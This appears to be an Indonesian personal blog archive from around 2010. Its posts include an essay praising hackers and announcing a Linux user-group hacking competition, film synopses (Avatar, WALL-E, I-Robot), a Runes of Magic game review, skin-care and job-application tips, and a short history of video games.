Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.

Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak - bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.

Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, "To boldly go where no one has gone before".

Sumber : Onno W. Purbo

Referensi Film Avatar



AVATAR
Jake Sully (Sam Worthington), mantan angkatan laut Amerika yang terluka dan cacat akibat perang. Ia terpilih untuk berpartisipasi dalam program Avatar, yang memungkinkannya bisa berjalan kembali. Jack menuju ke Pandora, sebuah hutan nan subur yang penuh dengan berbagai macam makhluk hidup, sebahagian indah dan sebahagian lagi menakutkan. Pandora juga rumah bagi suku Na’vi, makhluk yang mirip manusia dengan kehidupan primitif serta memiliki kemampuan seperti manusia. Saat manusia mencoba memasuki Pandora untuk meneliti kandungan mineral yang ada disana, suku Na’vi memerintahkan para prajuritnya untuk melindungi negerinya dari ancaman.
Jake direkrut untuk menjadi bagian dari proyek ini. Karena manusia tidak dapat menghirup udara di negeri Pandora, maka mereka menciptakan makhluk-mirip-suku Na’vi yang mereka sebut sebagai Avatar. Di Pandora, dengan tubuh Avatar, Jake dapat berjalan kembali. Di hutan Pandora, Jake melihat banyak keindahan dan bahaya. Ia juga bertemu dengan wanita muda Na’vi bernama Neytiri (Zoe SaldaƱa).
Berjalannya waktu, Jake berbaur dengan suku Na’vi dan jatuh cinta kepada Neytiri. Pada akhirnya, Jake terjepit antara tujuannya dikirim oleh militer ke Pandora dan suku Na’vi, memaksanya untuk memihak pada satu pilihan yang akan menentukan nasib bumi dan suku Na’vi.

Jenis Film :Action/animation
Produser :James Cameron, Jon Landau
Produksi :20th Century Fox
Homepage :http://www.avatarmovie.com/
Durasi :150
Pemain :
Sam Worthington
Zoe Saldana
Sigourney Weaver
Michelle Rodriguez
Stephen Lang
Joel David Moore

Sutradara :James Cameron
Penulis :James Cameron
Sumber :
http://www.21cineplex.com/

Review Game Runes of Magic




Overview
Jika kamu menganggap World of Warcraft sebagai MMORPG terbaik yang pernah kamu mainkan, maka kamu pasti akan menyukai dan menjadikan Runes of Magic sebagai Free-to-Play MMORPG terbaik di Indonesia saat ini.
Runes of Magic menawarkan fitur utama pilihan 30 kombinasi dual class dan sedikitnya 2000 quest beragam di dalam dunia 3 dimensi Taborea yang penuh petualangan dan intrik. Tidak ketinggalan yang harus diperhatikan adalah Runes of Magic dengan model bisnis Free-to-Play seperti game online lokal lain pada umumnya, namun memiliki sistem Item Mall yang agak berbeda, menarik, dan inovatif.

Graphics & Sound
Pendekatan grafis Runes of Magic sekali lagi bisa dibandingkan dengan MMORPG raksasa milik Blizzard World of Warcraft ketika pertama kali dirilis, yaitu menimbulkan perdebatan antar pemain, ada yang suka ada yang tidak. Runes of Magic memang tidak mengusung grafis terbaik namun ada keuntungannya yaitu desain senjata dan armor lebih detil dan bisa dimainkan pada spesifikasi komputer yang lebih rendah.
Kualitas efek suara dan musik latar belakang dalam Runes of Magic sudah cukup baik, tidak terlalu membosankan, namun tentu saja ini tergantung selera masing-masing pemain.

Character Creation
Pembuatan karakter dalam Runes of Magic cukup standar seperti pemilihan model rambut, wajah, dan pilihan ukuran tubuh yang cukup detil. Kemudian bagian yang lebih menarik, tersedia 6 pilihan class yaitu Warrior, Knight, Mage, Priest, Scout dan Rogue. Pertama-tama kamu memilih satu sebagai Primary Class dan setelah mencapai level 10 dapat memilih satu lagi sebagai Secondary Class, gabungan kedua class ini akan memberikan pengalaman bermain yang unik. Satu hal yang cukup disayangkan di sini adalah pemilihan ras yang hanya satu yaitu Human saja, namun memang Runes of Magic sudah mempersiapkan penambahan satu ras lagi yaitu Elf dan dua class baru Druid dan Warden yang mungkin akan dilakukan tidak lama lagi. Di dalam dunia Taborea saya melihat banyak sekali ras-ras lain yang cukup menarik apabila bisa dijadikan playable karakter seperti Minotaur dan Chapra.

Dual Class System
Kombinasi dual class ini tidak sembarangan, sebagai developer Runewaker memastikan bahwa setiap kombinasi memiliki kelebihan, kekurangan, dan keunikannya sendiri sehingga kombinasi Warrior/Mage tidak akan sama dengan Mage/Warrior. Hal inilah yang menjadi daya tarik utama Runes of Magic.
Setiap class dalam Runes of Magic memiliki dua kategori skill, yaitu General yang dapat digunakan ketika sedang dalam mode Primary maupun Secondary, dan Specific yang hanya dapat digunakan ketika class tersebut sedang dalam mode Primary.
Sebagai contoh sebuah karakter Warrior, ketika mencapai level 10 dia akan bisa mengambil sebuah Secondary class, katakanlah dia memiliih Mage. Sehingga level karakter tersebut menjadi 10 Warrior / 1 Mage. Untuk menaikkan level Mage dia perlu mengubah Mage menjadi Primary sehingga level karakter tersebut menjadi 1 Mage / 1 Warrior. Level Warrior akan ikut meningkat seiring naiknya level Mage hingga mencapai level 10 Mage / 10 Warrior, sebuah Secondary class tidak bisa dinaikkan melebihi Primary Class.
Masing-masing kombinasi dual class memiliki sebuah set skill unik yang dinamakan Elite Skills. Kumpulan skill ini memiliki kemampuan yang unik yang tidak akan dimiliki oleh kombinasi dual class lain, jadi seperti dikatakan tadi Elite Skill yang dimiliki oleh Warrior/Mage akan berbeda dengan Mage/Warrior.
Tidak hanya job untuk bertarung, karakter dalam Runes of Magic dapat juga mengambil pekerjaan Crafting yang bervariasi seperti Alchemist, Cooking, Carpenter, Blacksmith, Armorcrafter, dan banyak lagi. Terlihat di sini Runewaker tidak main-main dalam mengembangkan fitur pengembangan karakter di Runes of Magic.

Gameplay
Kontrol pergerakan dan pertarungan karakter dalam Runes of Magic sangat mengadopsi MMORPG barat seperti World of Warcraft dengan menggunakan tombol WSAD dan tombol angka sebagai action bar, tidak seperti MMORPG Korea yang lebih sering menggunakan mouse click untuk bergerak dan bertarung.
Runes of Magic sangat mengutamakan leveling menggunakan quest, tersedia sedikitnya 600 quest bagi pemain untuk menaikkan karakter sampai dengan level 50. Quest yang ditawarkan juga tidak monoton sekedar membunuh monster X sebanyak Y kali terus menerus, ada beberapa quest yang dikategorikan Epic yang memiliki alur cerita menarik dan tidak jarang mengajak pemain melakukan tindakan-tindakan tidak biasa seperti mengawal NPC, menyamar untuk mendapatkan informasi, dan lain-lain.
Kemudian ada juga yang dinamakan Quest Harian dimana setiap karakter dapat melakukan quest ini sebanyak sepuluh kali dalam sehari.
Raid Boss dan Instance Dungeon juga menjadi fitur andalan di dalam gameplay Runes of Magic, kamu tidak akan menemukan senjata dan equipment terhebat di dalam daftar Item Mall. Kamu harus mendapatkannya sendiri dengan mengalahkan Raid Boss ataupun menyelesaikan Instance Dungeon bersama teman.
Interaksi-interaksi dengan Raid Boss ini pun sangat beragam, sebagian mudah namun beberapa diantaranya diperlukan strategi serta kekompakkan antar anggota party agar dapat mengalahkannya. Contohnya adalah salah satu Boss di Instance Dungeon Ice Dwarf Kingdom yang akan membekukan salah satu anggota party secara random kemudian salah satu anggota lainnya harus berlari ke arah tungku untuk mendapatkan hawa panas dan kemudian berlari mendekati anggota party yang sedang beku untuk membebaskannya, tentu saja selama proses itu Boss tidak akan tinggal diam dan terus melancarkan serangan yang mematikan sehingga kekompakkan, keahlian, kesigapan, dan kecepatan masing-masing anggota sangat diperlukan.
Yang perlu diperhatikan juga Runes of Magic adalah MMORPG pertama di Indonesia yang mengadopsi sistem Bound untuk senjata dan equipment karakter, khususnya yang dikategorikan langka. Artinya jika karakter kamu berhasil mendapatkan item drop dari sebuah Raid Boss, maka item tersebut sudah Bound atau terikat dengan karakter tersebut sehingga tidak mungkin lagi untuk diberikan atau dijual kepada karakter lain. Ini adalah fitur yang bisa disukai maupun tidak disukai oleh beberapa pemain, namun yang pasti hal ini sangat membatasi banjirnya sebuah item yang seharusnya langka karena bisa digunakan terus menerus. Dengan sistem Bound ini, item langka tetap menjadi langka karena tidak bisa diwariskan dan hanya bisa dijual ke NPC bila tidak ingin digunakan lagi.

Player vs Player
Selain fitur PvE, Runes of Magic juga menawarkan fitur PvP dari bentuk yang sederhana yaitu duel sampai dengan server khusus PvP.
Duel dapat dilakukan oleh dua karakter pemain yang tidak berbeda level terlalu jauh, pemain yang berhasil menurunkan HP lawan sampai dengan 1% dianggap pemenangnya.
Kemudian terdapat tempat khusus bagi pemain untuk mengadu kekuatan yaitu Arena. Di sini pemain dapat mendaftar untuk mengikuti pertandingan 1vs1 atau 3vs3, pemenangnya kaan mendapatkan Point yang dapat ditukar hadiah equipment level tinggi.
Selain itu, Runes of Magic juga menawarkan pilihan Server Full PvP dimana setiap pemain di dalam server tersebut dapat membunuh pemain lain kapan saja dimana saja.
Meskipun demikian, fitur PvP dalam Runes of Magic masih bisa dikatakan minim karena tidak adanya dua atau tiga bangsa yang saling bersetru, jika kamu merupakan pemain PvP hardcore mungkin akan merasa sedikit kecewa dengan game ini.

Personal House & Guild Castle
Bisa dikatakan fitur Housing dan Castle ini merupakan kelebihan Runes of Magic jika dibandingkan dengan World of Warcraft. Di sini kita tidak hanya bisa memiliki rumah pribadi sendiri, tetapi juga berikut perabotannya, hebatnya lagi perabotan tersebut bukan sekedar hiasan saja tetapi juga memiliki fungsi khusus sebagai pemberi bonus EXP jika kita beristirahat dan logout di dalam rumah. Namun sayang perabotan yang memiliki efek bonus tersebut hanya tersedia di Item Mall, sehingga tanpa bonus tersebut rasanya fitur perabotan tersebut tidak terlalu berguna, setidaknya diadakan perabotan dengan bonus yang bisa dibuat oleh pemain yang mengambil pekerjaan sebagai Carpenter.

Guild Castle juga memiliki fitur yang mirip dengan rumah pribadi namun mungkin dalam skala yang lebih besar, saya tidak bisa bercerita banyak karena sampai saat artikel ini ditulis guild saya belum berhasil membangun Castle... ha ha.

Item Mall
Seperti yang saya katakan di permulaan tadi, perlu dicatat bahwa Runes of Magic menjalankan cara yang sangat inovatif dalam menerapkan sistem Free-to-Play ini. Menggunakan dua mata uang yaitu Gold yang bisa didapatkan dari berburu monster ataupun menyelesaikan quest dan Diamond yang seharusnya hanya bisa didapatkan dengan membeli voucher, tetapi di dalam game ini juga bisa didapatkan dengan membelinya dari pemain lain untuk Gold melalui Auction House.
Selain itu Item Mall yang tersedia tidak semata-mata menjual barang-barang yang sangat dibutuhkan pemain hingga tidak mungkin untuk bermain tanpa membelinya dan hampir semua item (kecuali item khusus event) dalam Item Mall bisa didapatkan secara gratis atau menggunakan Gold meskipun dalam jumlah atau fitur yang dibatasi. Misalnya pemain bisa menambah jumlah penyimpanan tas dan bank jika merasa kurang, atau membeli tunggangan yang lebih cepat dan permanen menggunakan Diamond daripada terus menerus menyewa menggunakan Gold.

Meskipun tidak bisa dikatakan sempurna, tetapi implementasi Item Mall yang diterapkan oleh Runes of Magic bisa dikatakan lebih baik dan menarik jika dibandingkan game online Free-to-Play lain yang ada saat ini, khususnya genre MMORPG.

Keuntungan
1. Desain senjata dan armor lebih detil dan bisa dimainkan pada spesifikasi komputer yang lebih rendah.
2. Kualitas efek suara dan musik latar belakang dalam Runes of Magic sudah cukup baik, tidak terlalu membosankan, namun tentu saja ini tergantung selera masing-masing pemain.
3. Kumpulan skill ini memiliki kemampuan yang unik yang tidak akan dimiliki oleh kombinasi dual class lain
4. Duel dapat dilakukan oleh dua karakter pemain yang tidak berbeda level terlalu jauh, pemain yang berhasil menurunkan HP lawan sampai dengan 1% dianggap pemenangnya
5. fitur Housing dan Castle ini kita tidak hanya bisa memiliki rumah pribadi sendiri, tetapi juga berikut perabotannya, hebatnya lagi perabotan tersebut bukan sekedar hiasan saja tetapi juga memiliki fungsi khusus sebagai pemberi bonus EXP jika kita beristirahat dan logout di dalam rumah.
6. Menggunakan dua mata uang yaitu Gold yang bisa didapatkan dari berburu monster ataupun menyelesaikan quest dan Diamond yang seharusnya hanya bisa didapatkan dengan membeli voucher, tetapi di dalam game ini juga bisa didapatkan dengan membelinya dari pemain lain untuk Gold melalui Auction House.

Kekurangan
1. Pembuatan karakter dalam Runes of Magic cukup standar
2. Meskipun demikian, fitur PvP dalam Runes of Magic masih bisa dikatakan minim karena tidak adanya dua atau tiga bangsa yang saling bersetru, jika kamu merupakan pemain PvP hardcore mungkin akan merasa sedikit kecewa dengan game ini.
3. perabotan yang memiliki efek bonus tersebut hanya tersedia di Item Mall, sehingga tanpa bonus tersebut rasanya fitur perabotan tersebut tidak terlalu berguna, setidaknya diadakan perabotan dengan bonus yang bisa dibuat oleh pemain yang mengambil pekerjaan sebagai Carpenter

Minggu, 21 Februari 2010

Merawat kulit


12 cara merawat kulit agar bersinar cantik luar dan dalam.
Natural beauty is really happiness with who you are. It you like who you are on the inside, that’ll come through on the outside.
1. Minum 8 gelas air putih setiap hari biar kulit tetap terjaga kelembabannya.
2. Cukup lari selama 20 menit, 2 kali seminggu. Agar peredaran darah lancar, kulit juga bersinar.
3. Campur ¼ gelas plain yoghurt, ½ buah pisang, ¼ gelas papaya. Baurkan ke wajah, diamkan selama 10 menit, lalu bilas. Voila, calming mask yg baru saja kamu buat bikin kulit merasa rileks dan menyehatkan.
4. Konsumsi makanan berprotein tinggi, mambantu kulit beregenerasi dari ‘dalam’. Cthny ikan, daging ayam, daging kalkun, kacang polong, telur, susu, dan keju
5. Tidur minimal 8 jam sehari biar kulit beristirahat.
6. Vitamin C (anggur, jeruk, strawberi, brokoli) cukup ampuh membantu jerawat cepat kering. Makan 1 buah jeruk atau I kaplet vitamin c 100 mg sekali sehari.
7. Sebelum tidur, coba steam muka selama 3 menit dengan menutupi kepala di atas wadah yang berisi air hangat agar pori-pori terbuka lalu bersihkan wajah seperti biasa.
8. Mulai sekarang kurangi konsumsi kafein(soda,the,kopi) karena kalau kebanyakan bias bikin kulit jadi kusam.
9. Makan makanan yg mengandung omega-3(salmon, tuna, bayam, kacang medes) selain menutrisi, zat ini juga bisa membantu mengurangi kulit yang kemerahan karena iritasi.
10. Hindari makanan yang salty, seperti keripik dan gorengan. Makanan yang garam berlebih bikin muka jadi bengkak.
11. Membuang toksin penyebab jerawat adalah makan makanan berserat. Cthnya nasi merah, sereal, atau apel setiap hari.
12. Kurangi kantung mata dengan menaruh kantong teh yang sudah di dinginkan di atas kelopak mata selama 10 menit atau dengan irisan ketimun.
Sumber : majalah seventeen

Get on time!


Get on time!
Suka telat, sering lupa janji?
Saatnya hargai waktu!


Organizer
Catat semua aktivitasmu tiap hari. Highlight waktunya!

White board
Pasang papan di kamar yang sudah di tulis segala aktifitas kamu tiap harinya juga efektif membantu kamu biar nggak lupa waktu.

Handphone
Pasang alarm atau bikin note di HP buat tiap aktifitas penting!



Sumber : majalah seventeen

KIAT-KIAT DALAM LAMARAN PEKERJAAN

KIAT-KIAT DALAM LAMARAN PEKERJAAN
1.Biasanya kita kalo melamar pekerjaan identik dengan sampul berwarna coklat karena sampul warna coklat biasanya lebih sering digunakan dalam melamar pekerjaan. Tapi sekarang coba anda gunakan warna sampul bukan warna coklat untuk memunculkan daya tarik pada perusahaan tersebut. Misalnya saja coba warna sampul anda warna merah atau warna mencolok lainnya agar pihak perusahaan tertarik untuk membaca surat lamaran pekerjaan anda.

2.Lembaran-lembaran surat lamaran seperti curriculum vitae, surat keterangan, photokopi ijazah-ijazah, kartu identitas, foto, transkrip nilai,dan sertifikat-sertifikat lainnya biasanya hanya dibiarkan menjadi lembaran-lembaran terpisah,tapi sekarang coba anda jilid lembaran-lembaran tersebut agar lembaran-lembaran tersebut tidak berceceran saat pihak perusahaan tersebut membacanya.

3.Gunakan bahasa yang menarik,sopan,dan efektif pada tulisan anda.

4.Kemukakan dalam surat lamaran pekerjaan bagaimana cara anda mendapatkan informasi lowongan pekerjaan dan apa alasan ketertarikan anda pada posisi tersebut dengan alasan-alasan yang bermanfaat, ide cemerlang, dan yakin pihak perusaahaan tersebut memposisikan jabatan tersebut ke anda.


Pengorganisasian Surat Lamaran Pekerjaan
1.Paragraf Pembuka
Awali surat lamaran anda dengan menyebut nama atau sumber publikasi.

2.Paragraf Isi
Perkenalkan diri anda dan tunjukkan bahwa anda mempunyai latar belakang pendidikan yang relevan dengan jenis pekerjaan yang ditawarkan. Nyatakan secara jelas sikap, minat, kualitas, dan aktifitas berbagai pekerjaan, kegiatan yang pernah anda lakukan, terutama yang berhubungan dengan pekerjaan yang anda lamar.

3.Paragraf Penutup
Berikan alamat yang jelas, termasuk nomor telepon, facsimile, dan e-mail yang anda miliki.







CONTOH SURAT LAMARAN PEKERJAAN

Jakarta, 20 Februari 2010

Yth. Manajer Personalia PT Dunlopillo
Jl. Alexindo Raya No. 20
Jakarta Timur

Dengan Hormat
Iklan Bapak di http//:www.job.com pada 19 februari 2010 menarik perhatian saya untuk menduduki posisi Informatic Technic. Oleh karena itu, berdasarkan pendidikan, pengalaman, dan pengetahuan tentang IT, saya mengajukan lamaran kerja.
Saya Fajrya dan berusia 23 tahun, single dan memiliki kesehatan yang prima. Selain pendidikan formal yang saya tempuh di jurusan Tekhnik Informatika Universitas Gunadarma, saya juga mengikuti program seminar software pada lingkungan kampus. Hal ini telah memberikan bekal kepada saya dalam melakukan program-program.
Di samping itu, keterampilan berbahasa inggris yang saya tekuni di Lembaga Bahasa di Jakarta yang akan sangat membantu menyelesaikan tugas-tugas pada perusahaan Bapak.
Saya sangat senang jika Bapak berkenaan mempertimbangkan kualifikasi saya. Panggilan untuk wawancara dengan Bapak, sungguh saya harapkan. Saat ini saya tinggal di Jalan Kebudayaan II/89, Jakarta Timur, kode pos 17133, telepon 02199999254, 0856666666254 atau rya_aja@yahoo.com
Atas perhatian Bapak saya ucapkan terima kasih.

Hormat saya,
Fajrya













CONTOH CURRICULUM VITAE

FAJRYA
Jalan Kebudayaan II/89 Jakarta Timur – 17133
Telp: 021 99999254, HP: 0856666666254
E-mail: rya_aja@yahoo.com
A. TUJUAN KARIER : Informatic Technic
B. DATA PRIBADI
1. Nama :
2. Tempat dan Tanggal Lahir :
3. Alamat Rumah :
4. Jenis Kelamin :
5. Status :
6. Kesehatan :
7. Tinggi dan Berat Badan :
C. PENDIDIKAN
1. Formal
2. Informal
D. PENGALAMAN KERJA
E. REFERENSI


Jakarta, 20 Februari 2010
Fajrya

Sumber: Buku Cermat Teliti dalam Berbahasa Berfikir

film wall-E


The Last Robot on Earth





Robot yang notabene makhluk buatan manusia itu, ternyata punya hati juga. Bisa merasakan kesedihan dan jatuh cinta. Setelah robots (2005) yang menceritakan tentang perasaan mendalam seorang robot, kini ada Wall E. Film ini bercerita tentang robot pengepak sampah yang harus tinggal sendirian di bumi yang sudah ditinggalkan manusia,karena bumi sudah penuh dengan sampah.
Robot yang Jatuh Cinta
Kasihan banget deh, Wall E (Waste Allocation Load Liffer-Earth-Class) yang harus tinggal sendirian di bumi. Sehari-hari kerjanya mengepak sampah di bumi yang menumpuk sampah di bumi yang menumpuk sampai segunung dan hanya berteman dengan seekor kecoa. Kesendiriannya bikin Wall E kaget saat ada tahu ada pesawat ruang angkasa yang menurunkan sebuah robot cantik bernama Eve (Elissa Knight).
Meskipun nggak tahu asal-usul Eve, Wall E (Ben Burt) langsung jatuh cinta sama robot berwarna putih ini. Maka langsung deh, Wall E punya kerjaan baru, yaitu membuntuti Eve kemana pun dia pergi. Eve yang dating dari Axiom, sebuah planet baru ditugaskan untuk mencari tanaman hidup yang bisa jadi bukti apakah bumi sudah bisa ditempati dan bebas dari racun. Ternyata Wall E lah yang membantu Eve dengan memberikan tanaman yang dicarinya itu. Merasa sudah menemukan apa yang dicarinya. Eve pun kembali lagi ke Axiom meninggalkan Wall E. Nggak rela cinta sejatinya pergi secepat itu, Wall E pun ikut menyusup dalam pesawat yang mengantar Eve ke Axiom.


Wall.E
Sutradara : Andrew Stanton
Pemain : Ben Burtt, Ellisa Knight, Sigourney Weaver
Produksi : Pixar Animation Studios, 2008

Film I-Robot








IRobot menggambarkan suasana tahun 2035 di kota Chicago, Amerika Serikat.Keberadaan robot yang ditunjukkan dalam film ini dengan meletakkan teknologi sebagai hal yang paling penting di dunia, seakan-akan menunjukkan dengan tidak adanya teknologi maka manusia tidak dapat hidup.
Cerita ini diawali dengan meninggalnya Dr. Alfred Lanning (Crom Well),pencipta robot yang diduga bunuh diri dengan cara terjun dari apartemen . Bersama rekan Dr. Lennin yaitu Dr. Calvin (Bridget Moynahan) , detektif Spooner ( Will Smith ) curiga bahwa kematian Dr. Lanning bukan karena bunuh diri, melainkan dibunuh.Dan ternyata yang dicurigai oleh Sponner adalah robot Sonny. Karena Tidak menyukai model lama robot baru USR NS-5 yang diawasi oleh perusahaan super komputer VIKI (Virtual Interactive Kinetic Intelligence), Spooner percaya bahwa salah satu unit NS-5 yang bebas, eksperimen, dan lebih mirip manusia, Sonny (Tudy K) membunuh Lanning.
Robot Sunny sempat ditangkap dan diinterogasi. selama masa investigasi tersebut, Spooner menemukan beberapa hal dalam hidupnya juga dibuat oleh robot & teknologi USR. Spooner mempelajari bahwa Lanning memberikan Sonny kemampuan untuk menyimpan rahasia melalui mimpi (seperti indra keenam yang dimiliki manusia). Sonny memberitahunya untuk pergi ke suatu tempat, maka ia pun pergi ke tempat dimana Sonny gambarkan dalam mimpinya (Danau Michigan, yang sekarang digunakan sebagai area robot yang tidak digunakan lagi).setelah sponner sampai di tempat tersebut,sponner melihat kejadian perkelahian antara robot VIKI dan robot yg sudah tidak digunakan lagi.Sampai akhirnya robot VIKI berkelahi dengan manusia untuk menghancurkan dunia.
Dan akhirnya Spooner dan Calvin pergi ke perusahaan USR yang dibantu oleh Sonny. mencari Robertson karena menduga bahwa Robertsonlah yang mendalangi semua ini. Namun ketika mereka sampai di ruangannya, Robertson ditemukan sudah tidak bernyawa lagi, bahwa kekacauan yang terjadi bukanlah ulah Robertson melainkan VIKI. VIKI mengontrol NS-5 untuk memimpin pengambilalihan robot global. Dan pada akhirnya dsini Sonny berperan penting dalam menonaktifkan robot VIKI,Sonny mengambil ramuan yang dibuat oleh Dr.Calvin lalu diberikan ke sponner dan di tancapkan di pusat system VIKI. Alhasil robot VIKI dinonaktifkan dan sekarang robot VIKI dapat membantu manusia kembali.
Dalam Film I Robot ini adalah mengkonstruksi kehidupan manusia di tahun 2035 . Manusia dikonstruksi sebagai makhluk yang lebih hebat daripada robot. Namun satu hal yang harus di ingat bahwa teknologi tersebut menjadi alasan untuk manusia berhenti berkarya karena adanya robot dan dapat menghancurkan manusia. Robot memang dibuat lebih tangguh dan pintar dari manusia tapi manusia juga harus lebih tangguh dan pintar dari robot karena manusialah yang membuat robot tersebut. Jangan pernah berhenti untuk mencari ilmu, agar manusia tidak dibodohi oleh teknologi.

Kamis, 18 Februari 2010

PERKEMBANGAN TEKNOLOGI GAME

PEMAHAMAN TENTANG GAMES

Dalam bahasa Indonesia “Game” berarti “permainan”. Permainan yang dimaksud dalam game juga merujuk pada pengertian sebagai “kelincahan intelektual” (intellectual playability). Kelincahan intelektual, pada tingkat tertentu, merupakan ukuran sejauh mana game itu menarik untuk dimainkan secara maksimal. Tetapi yang akan dibahas pada kesempatan ini adalah game yang terdapat di komputer, baik off line maupun online. Sehingga games bukan hanya sekedar permainan untuk mengisi waktu luang atau sekedar hobi. Melainkan sebuah cara untuk meningkatkan kreatifitas dan tingkat intelektual para penggunanya. Namun, tentu saja kenyataan juga harus kita masukkan kedalam perhitungan. Kenyataan itu diantaranya adalah kecanduan para pemain / penggunanya yang akut terhadap permainan komputer semacam ini. Mereka bisa lupa segala-galanya akan tugas mereka yang lain termasuk tugas menuntut ilmu.
Aplikasi games dapat dijalankan pada berbagai platform. Beberapa platform media yang bisa dijadikan pilihan untuk advergames adalah
1. Personal Computer berupa aplikasi games pada PC. Games ini dijalankan pada personal computer. Pada media Personal Computer, durasi waktu penayangan adalah tidak terbatas, selama games tersebut bagus dan mampu menghibur audience/pemain, maka selama itulah tingkat kemungkinan untuk dilihat audience akan semakin tinggi. Pembuatan Games ini biasanya menggunakan Language C++ / C#, membutuhkan waktu 3-6 bulan tergantung dengan kompleksitas games tersebut.

2. Web Based Games. Yaitu aplikasi games yang diletakkan pada server di internet dimana audience/pemain hanya perlu menggunakan akses internet dan browser untuk mengakses games tersebut. Corporate yang memiliki keinginan mengumpulkan komunitas internet dan sekaligus memperkenalkan product/brandnya kepada komunitas Internet sangat cocok memilih media games online internet ini. Pilihan ini banyak digunakan karena dapat meningkatkan traffic pada suatu website Bila games yang dibutuhkan simple maka diperlukan waktu pengembangan yang relative lebih singkat 1-2 bulan.

3. SmartPhones/PocketPC. Aplikasi games yang jalan pada mobile devices bersistem operasi Windows Mobile 2003/2004 ataupun windows mobile 5.0. Product yang memiliki target market status ekonomi A,B dan karakter pengusaha/ eksekutif muda sangat cocok apabila menggunakan media PocketPC/SmartPhones sebagai bagian aktivitas kegiatan advertising. Games bertemakan strategi ataupun simulasi bisnis pada umumnya lebih disukai oleh orang-orang golongan ini. Waktu pengembangan biasanya memerlukan waktu 3-6 bulan tergantung dengan kompleksitas games tersebut

4.CellPhones / Mobile Phones. Aplikasi games untuk cell-phones atau mobile phones sebenarnya bisa dimanfaatkan untuk mendapatkan potensial pelanggan dengan golongan Status Ekonomi Responden A,B dan C. Produk yang memiliki target golongan ABG, remaja, anak kuliah, eksekutif muda sangat tepat menggunakan media ini, mengingat pada golongan inilah mereka suka sekali mencoba dan mengeksplorasi features aplikasi yang tersedia pada mobile/cellphones mereka. Mereka biasanya aktif mencari aplikasi bersifat fun atau game yang dapat mengisi waktu senggang mereka. Waktu pengembangan untuk membuat aplikasi pada devices ini relative lebih pendek yaitu 1-3 bulan tergantung dengan kompleksitas games tersebut.

SEJARAH PERKEMBANGAN GAMES

1. Tahun 1947 dipercaya sebagai tahun pertama di mana game didesain untuk dimainkan dengan layar CRT (cathode ray tube). Game sederhana dirancang oleh Thomas T. Goldsmith Jr. dan Estle Ray Mann. Aplikasi ini mendapatkan paten tanggal 14 Desember 1948. Sistem yang dibuatnya terdiri dari 8 vacum tubes dan menyimulasikan peluru ditembakkan pada target, terinspirasi dari display radar pada Perang Dunia II. Beberapa knop disediakan untuk mengatur kurva dan kecepatan titik yang mewakili peluru. Karena grafik belum bisa dibuat waktu itu, target penembakan digambar pada sebuah lapisan yang kemudian ditempelkan pada CRT. Diyakini bahwa ini adalah sistem pertama yang secara spesifik didesain untuk game pada layar CRT.

2. Tahun 1952, A.S. Douglas membuat OXO, game grafis noughts and crosses (nol dan silang), di University of Cambridge untuk mendemonstrasikan tesisnya tentang interaksi komputer dan manusia. Permainan ini bekerja pada komputer besar yang menggunakan CRT display.

3. Tahun 1958 menciptakan game Tennis for Two pada osiloskop. Game ini menampilkan lapangan tenis sederhana dipandang dari samping. Bola seakan dipengaruhi oleh gravitasi dan harus melewati net/jaring. Dengan dua kontrol yang masing-masing dilengkapi knop untuk mengarahkan bola dan sebuah tombol untuk memukul bola sampai melewati net.

4. Tahun 1972 dirilis perangkat video game pertama untuk pasar rumahan, Magnavox Odyssey, dihubungkan dengan televisi. Meski tidak sukses besar, perusahaan lain dengan produk yang sama harus membayar lisensi. tetapi, kesuksesan menjemput sejak Atari meluncurkan Pong sebuah video game ping-pong pada 29 November 1972.

5. tahun 1980-an membuat para penggila game makin antusias, sehingga perpindahan suasana game dari halaman ke halaman lain menjadi lebih hidup. Suara dan musik pengiring ikut juga menyemarakkan game di era ini melengkapi fungsi multimedia dan interaktif. Tentu banyak yang tahu dengan game watch. Perangkat berukuran mini dan terasa pas di genggaman tangan ini mulai tahun 1980 oleh Nintendo. Kesuksesan LCD genggam ini menciptakan banyak pengikut untuk membuat yang sama dengan mengadopsi game-game populer.

6. tahun 1990 perkembangan kemampuan multimedia dengan sound card dan CD-ROM lebih berarti. First Person Shooter adalah sebuah game di mana pemain memegang kontrol secara penuh pada tokoh utama dan dapat berinteraksi langsung dengan sekitarnya. Pemain berkonsentrasi pada bagaimana memilih senjata berbagai tipe dengan amunisi yang terbatas. Hal itu dilakukan untuk dapat memenangkan games yang sedang dimainkan.

7. Tahun 2001 lalu. Contoh lainnya adalah Counter Strike sebuah game 3D multiplayer mengambil tema simulasi taktik pertempuran.Selama ini orang menganggap bahwa game console seperti Playstation dan XBOX adalah sarana terbaik untuk bermain game, sementara fungsi game di PC hanyalah fungsi tambahan saja. Kebanyakan gamer juga masih menganggap bahwa game console mampu memberikan gambar yang lebih baik ketimbang PC.

